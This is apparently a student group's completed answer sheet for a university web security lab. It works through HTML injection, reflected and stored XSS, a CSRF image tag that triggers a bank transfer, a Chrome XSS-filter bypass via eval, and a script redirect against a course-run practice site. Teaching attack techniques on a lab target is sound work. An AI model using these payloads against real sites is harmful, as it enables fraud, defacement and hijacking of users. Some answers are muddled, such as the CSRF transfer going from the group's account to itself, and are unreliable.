Summer University, Web Security Lab 2, July 2014 Name: Anushree, Israel, Raphael, Denis

Group: Calvin Hobbes

These exercises are designed to give you a taste of how an attacker might attempt to compromise a site's security. The site we will work with is http://cs31.cs.sjsu.edu/⟨**group**⟩, where ⟨**group**⟩ is the name given to your group. It is designed as a resource for superheros; we'll play the role of the supervillains and try to attack the site.

1. (15 points)

   (a) Go to http://cs31.cs.sjsu.edu/⟨**group**⟩/thanks.php. In the "Hero's name" field (outlined in red), enter `<span style="color:#0000FF">Batman</span>` and hit "Submit". What happens?

   After submitting the text, next to "Testimonials" Batman shows up in blue because of the specified inline css applied to the span.

   (b) Inject another formatting tag into the same field. What tag did you use, and what was the result?

   We submitted an <em> element in blue. Batman returned in blue font and was italicized.

   (c) Using this technique, embed the image `http://cs31.cs.sjsu.edu/images/35274977.jpg` into the page. Describe how you did it.

   We used an <img> element to insert an image on the page.

   <img src="http://cs31.cs.sjsu.edu/images/35274977.jpg" />

2. (15 points) For this section, we will practice JavaScript.

   (a) Visit `http://jsbin.com`. Click on the "JavaScript" tab and enter the following:

   ```
   var a = [1,2,3,4];
   ```

   Using the `alert` function, display the sum of the values in this array.

```
var a = [1,2,3,4];

var sum = 0;

for(var i = 0; i < a.length; i++) {
  sum += a[i];
}

alert("The sum of the array is: " + sum); //10
```

(b) Now replace the contents off the "JavaScript" tab with the following:

```
var villains = [ {name: "Joker",        status: "In Arkham Asylum"},
                 {name: "Ra's al Ghul", status: "Dead"},
                 {name: "Penguin",      status: "In Blackgate Prison"}];
```

Append a new villain (your choice) to the villains value using the `push` method. Display your results with the `alert` function.

```
var villains = [
    {name: "Joker", status: "In Arkham Asylum"},            {name: "Ra's al Ghul", status: "Dead"},
    {name: "Penguin", status: "In Blackgate Prison"}
 ];

villains.push({name: "Deathstroke", status: "Missing"});
alert("Villain: " + villains[3].name + " Status: " + villains[3].status);
```

(c) Create a new function `escape` that accepts the name of a villain and changes the corresponding `status` field in the `villains` array to 'At large'.

```
function escape(name) {
  for(var i = 0; i < villains.length; i++) {
    if(villains[i].name == name) { villains[i].status = "At large";}
  }
}
escape("Joker");
alert("Villain: " + villains[0].name + " Status: " + villains[0].status);
```

3. (5 points) Edit the html frame of `http://jsbin.com` to include the following:

```
<a href='javascript:alert(document.getElementsByTagName("title")[0].innerHTML);'>Click me</a>
```

What happens when you click on this link with Chrome? With Firefox? With Internet Explorer or Safari?

In Chrome, Firefox, Safari, and Opera it opens an alert box saying the site's title, "JS Bin".

4. (10 points) Go to http://cs31.cs.sjsu.edu/⟨**group**⟩/thanks.php. In the "Hero's name" field (outlined in red), enter:

```
<script>alert("I am Gotham's reckoning")</script>
```

Try this with Firefox, Chrome, and either Internet Explorer or Safari.

(a) Observe the url bar. Was this attack a reflected or a stored XSS attack?

The attack was reflected, and nothing was changed in the url.

%3Cscript%3Ealert%28%22I+am+Gotham%92s+reckoning%22%29%3C%2Fscript%3E

(b) What is the difference in behavior between the different browsers?

In Opera and Safari, the same happened with the url.

And in Firefox, the alert was executed because they do not protect against attacks unless you install a plug in.

5. (10 points) Using a *stored* XSS attack, inject code into thanks.php that changes the first HTML element on the page to read "Kneel Before Zod!". (JavaScripts `document.getElementById` and `innerHTML` features may be useful). Note that this attack should work in all browsers, but it might require you to reload the page.

```
<script>document.getElementById("gratitude").innerHTML = "Kneel Before Zod!”;</script>
```

The injected Javascript runs on all Web Browsers.

6. (10 points) A banking site is available at http://cs31.cs.sjsu.edu/bank/index.php. The login and password for your account is the same as your group name. Transfer money to `brucewayne` and observe the GET parameters in the URL.

Include an image in http://cs31.cs.sjsu.edu/⟨**group**⟩/thanks.php that will cause a transfer of $987,000 from `brucewayne` to your account when that user visits http://cs31.cs.sjsu.edu/⟨**group**⟩/thanks.php. (Note that the account is shared by all groups, so Bruce Wayne's funds might fluctuate as his account is raided by different groups). Describe how you were able to embed this image.

Once you have the attack working, email me a link and I will play the role of Bruce Wayne.

We put the get request to make the bank transfer as the source of an image element in the testimonials page, so when the page loads, if the user is logged in money will then be transferred into our own bank account.

```
<img src="http://cs31.cs.sjsu.edu/bank/transfer.php?from=calvinhobbes&to=calvinhobbes&amount=1000000000000" />
```

7. (5 points (bonus)) While most browsers include XSS filters (or have addons like NoScript), they are not foolproof. Experiment with the "show search params" button on http://cs31.cs.sjsu.edu/⟨**group**⟩/thanks.php. Using this feature, bypass Chrome's XSS filter to change the first `h1` element on the page to be green. Describe how you did this.

We had to escape the string that was being created in the alert function, followed by our eval of changing the main h1 of the page to green, finally being followed by an escaping quote so that the eval would be included inside of the alert being called.

```
" + eval("document.getElementsByTagName(\"h1\")[0].style.color=\"green\";") + "
```

8. (5 points (bonus)) Redirect users visiting http://cs31.cs.sjsu.edu/⟨**group**⟩/villains.php to `whysoserious.com`. You will need to combine the XSS techniques we learned in this session with the SQL injection techniques from last session. (Hint: JavaScript's `window.location` feature may be useful).

We set the redirect by submitting the following script as a comment to be added to the testimonials.

```
<script>window.location.href = "http://whysoserious.com";</script>
```